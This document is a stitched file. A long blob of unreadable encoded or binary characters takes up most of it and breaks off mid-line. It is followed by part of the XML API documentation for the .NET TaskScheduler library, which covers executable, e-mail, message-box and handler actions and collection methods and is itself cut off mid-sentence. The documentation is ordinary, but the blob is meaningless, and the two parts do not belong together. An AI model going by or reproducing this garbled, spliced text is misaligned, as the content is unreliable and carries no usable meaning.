z?;v~t`R4Ac#%w_=*uf6?>#M9ZtB_Q76GW*^>hpn$B&Ch}_AjeDZ=ZDXgur(vk*7P9 ziR5Vsuw^@Af6pQy9wc?p{t&ReFPx8?&S~>xShTlGHKkI)dkc{U;4;cWn8R4D!GpIki z^=F6v4Cs$!tf4(v(o^TLcd3hS41Cy{WzWo4ft1Gvsev9qP~#AT?$LL{+5_q~qnRh^ z8;o@S@ZGnRh=p4Jy?$V%!7ui=s#1|$S+0GUWR?8>ogT9hj@(@{8zE_gNHfDBHHw8I z5qaI(XNIy0tp8|aA4>F#WR^xq^xNFWnH4JMtLPNt!! zd+g~U2@siokwryhL4;Ls-G{rl$}YQ$F0QEf7f?iTai337(Pf{yqTt`hduHW*e^s}8 zW|EMg8~1(Q=e6ZJ+BL?@6TN52|6mt$;DVk=2;rEQxu6rY0FBI!^H{oJVJ|vDhaVuVg8r zRaI!`1T>0PVX#?lI>D4?x0SOtmn!i72A<4M+J|aqKhc7Uzn><&Kh)7|juTH|LDe9E z8UYi5QVRt<3Xq2w&na`}&1+U>zw+k zb|kh6^{A)RHe)|hAKQPiH0}N^c2^ZOlSYDRPif3`q-laYmlbArQyXg+trDd_2W&Ob zzP`Ht^s$Vh$}CFE&ZTSOCZ=P1&Vd=8DspzrI_4(r*a+FiHA_Xc5i3d7G9uk98}|Ng zB*C6`f4BBNHq_OM7+{olA?xKP_C6f4 z*_i@ED@!G;lZ)Th+{_AImII@yH1!@n)gJ5wZCAx^TB9dFMHia zcBRq)=)lhXEc>o=Ntou`|HtlKQx8^xv2T-%(z=2k$%;xQPxpcrVorxyrgn^g%SnQrCLgqMtc+M?Y4fZMlDDp`F6;IdqweNt2KE}UzTNu|*KED?#Kb z_Fg|uKNTK)wGZ(5aDmdjzELZJDlm^LmY!9)nmeV>eBp_FKZH+hoD15Lhb62nP-&SvwHpKZt{fTL9e7$F?d zVY1^a&@(=A6ng`YmY?+UA1ZF{kYwfw%okW7uuz~~V39zlK$pN`fh7XR2^=qQfWI@^ z7T_~aPV=z9n*^!?cuYFYHGxrqs|EOeqSMT0s-0%MdYxuo0_HSdD{!3vPHj%}n+2{H z7!w#5m=Ks0m=f48@D_m^1l}%ilfXL!ZV|X$;8B6c1imQnC4t8UzAWJP09FbF1cCw~ zfv`YCAS%!+5EF~9)b4?JcQzC{)E6M1wJM4u)wDUJ|pm1fzJti zUf>G?j|e;}@R-0C1->NkxWJbMo)GvgYUI*GpMRS@;*b17-IsgmXwz1w>1?O@CC{mh z9Z#3je4_(!oDKnOyp%4`B;Y~7wBNd8^`7-658E7vC1ew`dWX}5uizS|>3XMWjPg9B zP->IoZF*@@6WlqA;lv|=7ZSQzpjn_r0B66g@< z6zCFIEU-l2IDz8@V1sgv444m^5emQuc*$8LnE~M3X@17ahg+VsA>k$AAuj={=Qv{m zYXp1(9nCMy5y~2YF@x+Q#64h4fU2!f$NHtf<*-rxKj1aX(!S}B=mhRx^H~I7W&DI5 z&)C%Fy(6{4P|xN<|7f*X+uO6LP#r3cj1(*7kw)ZnT(VZH7I%!+3M+g=BmI?Xskmc> z@6tk5_~%A?0{XYYmmV$EMyrK$%Z1TeHD6lc+cdhPRP4W?u(z*rRiS+Dj#w-o?T_{b z6X8f95KoNV&<2laLfdWqY`Bd%tc!C-A7i;{sn5cuL?K0#6IT zMdvu=JI8-0dJMI$NwGIs5?CS-A$8&`q5MzX`T!Hn0zw)8V}-l|9RkWRL1|r+-2zKp zZ!NjUOe|2$@}{|Mx^5R30E|B;@PfcE6&D9gWE47Gp?wOeHWMqToH>q=3s2Y7i%K1b zzT&*@bzU7u$Cj99+-RiE$%4RL0s(=?1imcrq@-rg0l3|7WU#IUcR9<(g(|#HKB~X8RMc{nB2fp zYi=Y48D`h%7;N)21}- z&KIf`8{6}GWg>_rt+Ywceye%P-nB0!HbJ7(ROm?c6P7CosKBVPh`Z>gj`b-oSulzYbp zS_QLrRW?TwYa9cLYrryXQWR2VZkc-NU#2Tr}R zk>Xyfph1#RbSYa|b^~&!<;G@K$VL-VNzixrV#RN5(cPGS{XsuSgo?v6HsR3#`jc6wslp3s|@*+@u>dMK>6M4llxM>L!X6Q8)h4UWC`(>9mjE-(iXE9h0vqGLgm(>3Z1yKR&?fL7vv+cKhBIO^}{Hok<$Rg;1E zjD*TeYcAuava3etBbMD(zV8i)wj?+^1O2cOxHFBS6IsnJ;hMZ zn2U8lWV-fZkAzdsU6VYqRq!v&QzL3~*6Fx+mj z*juRFGHf**w{xPxVJ6Lh!={>p^G{K_4q`fj9KX(zGR4RlQ~hbmQqe_aiWBIl%0T07 zDM7Rb)bSY!oWF^TEPq79y7g-|&$7TFV~;Z&9?F7CtRZRoX}gXAIUlRp%N|vQ6_An9ZQM|0 zdztK8;E??`cmA+=o6KdLGd>DM$Gc*Yf1okHf#2XqWFT7wCK7Bw3BVIys>rX_&LUP^-o_^{~%AEvLVK{e*Ng&}7~-PZ=GA zynGtVPKGascmiFPvW+}7A=l~6XPs;&E@tL#j5rwG4`u00PEQOcM=oQYgTKi{21WAl zacm9=)=A^Or`UEno*e)1!sGUH^L!l2WlWHEGdk*Xt)Os{Z<~D5k^CoKWh7`XtaeR{ zPcB)&0TMN0fyAb3b!vI#tGqzo+KjV6ZhnqNl+&~@IbWL;^xJ3G6BHJ~wp2Cd#os8{< z-~=a|{2vx^8#+v z3>S0rl-P7Xs$J46n?wyRv+!^GF4mgJ+lnRt`AnRt^)f6l;P62&otQh;9AlN8z+k4XQ) zP8@M00b<&j2NfX7Itomb8vQCx?ym6{>wFSa#AIZt(YJCctD{crvmFoDl+)P`iG_)M zAR|;==n-Cf!70d9st0WHIAU?kljHwLi46^jh`n4?QbON zAe?jCfGyz`!%bj5r=66+Y(a-$Y_~6S-OOy<63zmNnjMJ=is`F?hj$r7G*aCsAGHcr zDP0p0}5GnKAd6li&Jh5fTTU~1Rd!n>o zT7g}ltU>4ri8TGC`ZTg;NsxTJ@-x+)>9tqDB#SO~;$#muk`BZ7fTZ({i(nakwdFG<%G&Wk;S$9shxgAwO#7ErB)Dund;|EZnE+bN< z4o$Xwv5(D>$joprv%FnyFIx=;Tca5mCt9|J0ry+cd43KVOnA}(*(O&zS7TI9Eozz8zEbh7{;+i$OCQi3^&F&oXezcRB z*)Er!LMLHUX_w-rYkv@*1GOfkr<+_vCLaeyE-1t8i|nGDAe&F1X^6>(Iw#)=BA9!0 z!Pa3q{{tq@x|dCuwKJYu_=A}tF>DicLHaEDn5K*%w1l;Dq5_leB!`hIE<6vJxkmxw z>)}0e=%y>RcP#Y=%*Mc+oRbYCtlSW{gn=E}EgME3Vm_ZcUwYB?&SDdTgslo}XIAK7 z)z@Kf)d^X1Vz9wnV>(4mM2IpsZk_j-n=zX*CN;t2u!p_fGI}~Id7hzRb?kM0*je#t zM{6!x&zmz>1o40}c8)(|r$)19;m$;|>SdNk&)j6hA9tlPexr@O(Zoh5pMblp$Fa%W zy32YTp3E(>X{>n_r?o9tcl}PttluYwZO@vRwSH#-K>O8G8Y7*8Si0NtCin2jlem!6 zmB!~+)gADia)|t@dLkA5s#zvX@RaKuJefL{&ext4KP0r-Ql5Q?&1vxeR}OZGyw6IzmOj!N;_*wel3C~@xEy-Rs8^6{lo_uNvx8)0(w*=G_bGi_Sy z^0=O5!%S+EOAIr1ikvK|btdV|ma9ii+5-$_^Z`0%J^kGcaigwhR(HB`&!pp}rXA*$ z0u%+Mhj?g&TDCHzS`Fh5*~_D?v*gptwj8BC#XxEDw6=MTrmjyj5>4P63|bR-mQiKf z!7Sz`pK15CNO{(0NtfhYBby&uHTPUSGgQW0DieDeX?u(?o?T{^VGuMJ&!BbO!1$x} z82gCPB=oM+96tFhyJOZ)HbB^=t!DtJ*RypJ1Zo;jlXp>XdiWU>Ek7>)o2rc6M_0xk zqm`2!sF!2n)!=T!J8K0S={EEuS_ez7REG>j9hwA8KyJc>WV&G_xgjmMu>2ahuG7~n zFE2ex>RMVf~DDvQKKn z?xewDY~L?rF4P0af7OVYP(iiG_=Bv^VEC| z;w*l2g^d0X3q$Ed($+0!g|;XcyD<-4Qw19RYbRMl@Eas^*ZX9+=laH??Db zR8MI!`2tjSo(bJ0h#dgPHbXR@oa4pZEg6}ugNa*b;BxW8D%xI*G$;C6yyV$#U`f!_ zQR__6dH{$np|rUsR5Ngofn#b))l~{lgl+RN$s1x{C8dk0St-vLkuc>EHMz;aj1rj9 z%q3!a1QVOmuQPDFf!%^kWx`!&ar-PSQ&(mmPQc6Dt+xs8cCVr z$Z#pY_aZQz<2+8s+G1_p=nh}HGBh+==8&9siF%yl)0N@9)#9$fn(s3o^o0U}kUta% z@zSTUpLv|IA8)Ewt}YG~MtphSNU^-DRPg0TMhZhaN_%~~VRg7r_3f-weYL@YFW3|C z<;w%U5Z9~iS^9{tveVa>AGyl6xqq-QFj_L`qaYQ_zI>_V+feMURz@m2YrYDk@->R^ zjhLhS5#MlSq~^Pa~TMImth7VB5CDc3y$s22PE>%|I9vZGWu z5*p4BhU%t#v0BI5jB`bK*VYv-b$ff>d62HTM3I*273GayxI!h5%=#>uZ!YJDM+Pgk zb5^IT1sYsrLNpf6RH@&K%q4{pxUqC#=a|q5JI->C^Xe@l1=CA2`C1+!(K&~!>gKh* zbbs7c@&oj_Z64?KeS^gj-%z18SQ+r`E;1~36nxdfQ03}^87KpVorP+l+z+*iA!w_f ztCR)`)#W2b+AGX3tGmCPL?{jOZn+{ym_ z!pKOvQm$1iC8HdOtTUM@jPzHF!$^Pgz(6TisSdeZkHGftQ{d*q6-eYODlqABRv$%9 zXvtlL>N%^?iKbdr)N^sDV1$H>`aI4>lxA88rBJ99je2Rc`9QJCxRc^UH=s|;h25qf z}_s^0iu_T1E^Gioero+HL}N=o2G7U}Bo<0an{K#$1(aZat>e1o9qdtE*!! z87h{n%tIzA-w#}VG(k0Y>Xj|Z%)vNve8oj%= zZL1>}t_z$u;5f&kgzyndK)@ScSrescn(Ut8DxFVyE>|p+r2NiVy{k~$X7rWq*$mXh z9;f}nLVl#Ssam|cSSsu)IA*e3$CQX_NM4;UmZSt7=Ms;z;h?!pQ{M9W6eU3xs^6db zbIqdR74@m>Gk@*7eA5aavyO{M1PFn%XkOex&pU{uX3qx6ON%45JQN$me6tFPi-tPx zAvA&w8k81$x$M46LZYz7!;5`qPtr_*GbzM-_8gu@&=A1cb=4sR!ZQg3ai=?+oPxb# zV57%*?eCl4E)#Z)7E1%ZU@Q<8y)*4vOSoBR$_L^MqrIlg{#2fabJ=Lv*<1`V-;Lo4}-hI<6Pkm z&_9fKqT!->jmysC8x#=h-ovs($~ZMW45O+yc?`LXuBzQwJw{S9G0*7g1U$|;ng-us z=74;EEm-f$T6{*rRF?lxpIGTIA1#Ut>G!K$GoJli#ba>xk`C`d1vLASIu(;n>3bL+A975 z>d?iGE_-#MT)U)zU-$sCgfpMTlwA%xoQz2ao#k;(kB1YPSgbeXj|M|QeP-fM$#6XBI6Q39Grie1 z>*o4$|DdUH#4gyF=P(9r@gKc6_SuE2`lA%6;|$O{(rie|1No|(c+A^L8=HC4OWI>j z-@~&u@gvuLx^#Cz%_PJMja9GXs290aKlZ)IbdXds8;v9qF@GeUqJyMUS$`tY8}(;; zQ`t~&IGf5Q-3}56#Y2H?FyW7-5^;Ydn+f?-p={ir%cRrkY%a$G1}WQ>Ldirr9L*&C znQ#=s!Cb_jN~MEXY+}iDFcr*&(=KLjCX~yBq9K1QnvT*bdwczfKq~1EC1aU*Ivoy# z6FEyW80t+&)0sGB#wk6RiTdN2RL-A`B!ZDhZ!$xwiy6rEhSI$ee=Hm9^+&?Nh(8%f zhx~zbxHlfoB@&qkJ8=z;OeC5L1bbtCDjcRp*_=Pci0}tu;ZQmmOXfmRHcY~dq{Ers zP$WZTdsF^MA{hoV74ruY=~OtK2{Vd#akv?9k!S*bg8o22G{cdQpFx%J2jcNuGL;Kb zdG_z7^k_Ji38e!5L@otphEbV_g%kc@E*DK_W2s;^$HHHju}~(N$%YYiGRx3Sg|q%t z5}`&jjOS!75K0Bzy2oM}tYUDN2;`EKo=o~v(NNZ(&Lq{!)UKC7ESiZ}Iugz1g8tqV zwzNnxnDi&ofvi86P32O_U^Ea&x-=8HSSFi{NBlGgbq__5d?3|J1+$4ESqv=E-l6Cn^$9oZ3z@N!xC8bOd$;S{XeIplw`Q9LyZA?*&o_Z7|!^6Lx}(#Bb5jyU7E36Dv?YhS-8tez)xOKC*WTDf2rK4Vlcn@z>DiBvo+DRiao(Hkjr9g2 zDSvM~1V8ZRPtwNzUh0;O=Ymwy9b>U*B$JE7?3xj51#DNUc~Rr^K*5q~zHnQ%^SJ{8t9jv7iV&oR-S6uN7E+8iPF46sjmO#LGIvp-*0TX)g8}U2 zDtg%U7z%anMVR69Jk*a!`Qw_~F_q=%nj-XvDn0}#N`D+2--GGyZgX1HIQw`dr&`!6W}O$U z@DcO!XE*fvgEE){rdN92vqi@!eeLtJrGnIghMY0B%~lS5o0_Ermmhhik&({!^ZrAr z&NQ?gmiWpe6Q5zHvt@A5axmvJtel4}qUXp(Oxs9p32!*GglRkHVGB6x$ORY!sin=v z`(WoAA{a{PSVfjDG)P0b#r==uzH)T7LSTCz3F zsLi;<6dWhzaiT}=Xv*at&zg5MY%UI{#MVqJz(hCb$7fN$3+`=+@ zbb5}W3I$d6nCjKVs7=fo`rl{txS2Irm%PE%n>7Zr9p&YL|>)oqMSF;DzR zt=K;zgRMLP>I*Tm-~2^%SB6BWRE?YMw$Kl;FujzxUGLx`8A?j7( z1ufL8f}5AYB}nEr*6Y$F)7i}K&Kkwt8maaw-12HF#ygwBDq|G$xi8<}U%?B)H&Ef^ zuB;+KWwgm4;bI240#D8JXo0j|WAuX{$&-oBlqdQ%Q% zmvE(EAL%$HHZ8wXp<03czJ(p#LNud~oa3s~#-`M9I7eLRI(*dSt$xUBfvWkc?OAsi% zd?qQHvmNJLPH~c^r<&2f0_w&7L0^Bq>>I@ovUm;UVRz`yR|iH`n9)76Wbtp8m5#%E z+g4=FpvTS19Nno)=Phm5MO7mLy|}AbF3^C^Z@L`ki7!6?N$quS;a751eBI+`9c| z7vJ`!pZ?&s`JPwZao~|B@A*~d|Mo{P9=yZT``#|8m=wo)7=(-7AZi z9gOw;yv@PeB@1Ns1_wajDGq3iek0)CLB59xUri@kruO3R-@(ri{vo*E zr>u|hdndok!S|E?PyD_P{srLic%$=A(D*N0KS=r)xvmpF;Q{iug7;DQcoX!Jq`k=f z7VufcJ5Lk$7HIr}_|Jli$FlPvza_*yM;Uh#UJh?R;P>T)gp<4-Qm^RLi#zMz8@8|C zT<6%=Z|W7DEHU^y?QqChK2fc2mfMd%F9z+*!=dTJ=6acDmbXmmQ{5%!bWqPeJgPn( zy_+|6+Rt9+on3@D8*+Sy<7_60wID6AU$VE~Z_iMeK0JL13CB;DJu}Z0Hc8A`CiM)7lqm)JPLp1MfZm;{*Q6H3NnJKGi~BqYr>rwy zcGi14^^x!bFKksVeP&(dJORo{7eZo$h(nW~B)MDPYJQz#E4hJO^)G5aCGz!e+7}_L z=9^jmi1R&Addi(w2PrzFuwsuFX&u)D9R-u=pDFw9d?tB?{EmC zNUBVM`Xswv(0Lf7EhJvWPc<*gTUtfUZ1*J5dz~%RStH{j5V~h0q{v%A1VQKWLvyF8 zgBn)vWDPo3fxvrdXOdT+)d1N`^0h}w4mmfIObuq|)@Rq%mF%DnIQN2d=8=)~;@%o> zf&D0`fmeoV`-Zyum&tVc>`e8Mp>M!zjHq|-b^aN|gX)?!?*>-q4LUqsawr|WI#|gm zXpB&$eh~Gd=0gfR6fxwS{K^o+&exaSC^UDu0cmHab-9ij66&RHGaJV{3~cHj*d3n zo(q{b;x zv3)f95TXg1RmMSGvOc%hRnu?Ce^BSCqs&xLd>P|l1ye_xR#PXuJks>|J_V$g;i*2< z&Utw{(*rI7(m{j2&e7~Kbv}q^&u+@YBig~I6;{vT(O+%|UQCu%htD#*v8Ly`G&8D} zRa(&ull^5RQg6y}P+q2$E`vgWt|txiHqZ`|$;{*+FJ8CEw}N<(E~qDoPJK~Oj~j75 zPlhFzk>9Q~rV|d3aJ&+7^g6v}e6Uf-9M+bNB)xyV)<~L1Qn$^esX?>HbUwatY|FaP z==$kgC)RUGs#aGFG)SIWFRc$!MMzF3y@n)DCzg61H1ef4Ztzvi(X(ffF>MluA!8R$ zO?ukpvdvkMui%&8wx`p5#sw67!{ra{X}dPO&v$KL)uw%(Hny>t00#1VJ+0RU6}!*l z>GAN)R)NS`!5li(FbR_#D~z5H@)hJK#C7k>av3 zois;G&rOcl~=wgT9pKh2ieMFWDnCLf8IbzVO`i6Me6+_H`=gj0z zV;Hr)t-v8~mB-DHi50xtdwM+WRFH;f+@FkC%#*JT11B}Wr~^WeXIUe0pvWt+t-;lp zZcXx1lJ!U;9o|jE!Ml<9lu%U6UcK5V$W16^)jJAnAts6ARz-$DTk!Y+& zrXk>9rELam@7#D6K}3~8DvWM4hj(My4sg%h%L;|7AQfn^>Nbz@4m?QE;h_)I4){(&xEt<^ewLMlg+)8S%BjVs*gjox_>h z20{Jd{N*g?*Wvy=j=ou8|9;7`Qos72z9jPUe?R@{Pv7^x_g#Pe^Bf zy>#u`yYIdmPX6X^{)W5+$bSC$=Tn!PZ@&4ZHETfo$>=DQp-=eV-u&jD|NQ5qQp7#? z+;iuhciJjYeTw+nHP<{gsxMyf_ly31mF4q&?cRI0Z{JQ9h!am;s6NbqZ~qLs^Tgl% z9mr()_3K|x4CjMzLauLp>swY17MV!+5dNGx>oae=ybv97LZ=op;2)#fuk{*YXdYB}0Az#?O0pi{s_3ZuLL5*}R3tabCmk zR?=>rktQ59=FGoKHfJ{PjvRm6g6k?9{vkH_vA%u3{k~|VS8dhN(8yNvI)km5NpG z&0R5<8*1G2kNXF{{MnV^*Z+3)XT9I2R`tIF3j6AJv#&p$fycv8=}I+ID&b65c8sfE zq0lo>!t>4iy>tdtjA-P}(99E`bvX@?E=%Dqepm5R4jyx3e}|(0zpMFiV2qvAVU6uL z`m~L{Y@-j`=({%mcl_}r7mT9+$7b_u9)H4gbZETr*73W1O^b8;bb}C)yDR3|9|SWpL8Y zL>3%PQr=9tB9etiOpRpxvbJxZu`te-hCSG* z*RRf#HRAi=LPj0cy~tRd?jPcF6soF~cCI=vOz|#;dV9;rEyM6dTxEyR-&$zY7zLxW zsjty5BxS`*8*rw>yUIO{-YO%yKI)~uHw=z#L*X6T3O%k|?I+#pt$S$OV$*WkW|VO$ zWlT#%wAFKh2HHNPxB=%h@@Vu(#`=7mWHMd5-=CizXsc&wTpUjs7eZfcSuzqDMlRN< zsZX6T&miyFaX#mRNYj44EX4VlLLrCeLZBd?H@f-N=R~zWesyPC=2-B))wG)(*&0VO ze@;v1Kh|EoroCp + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item 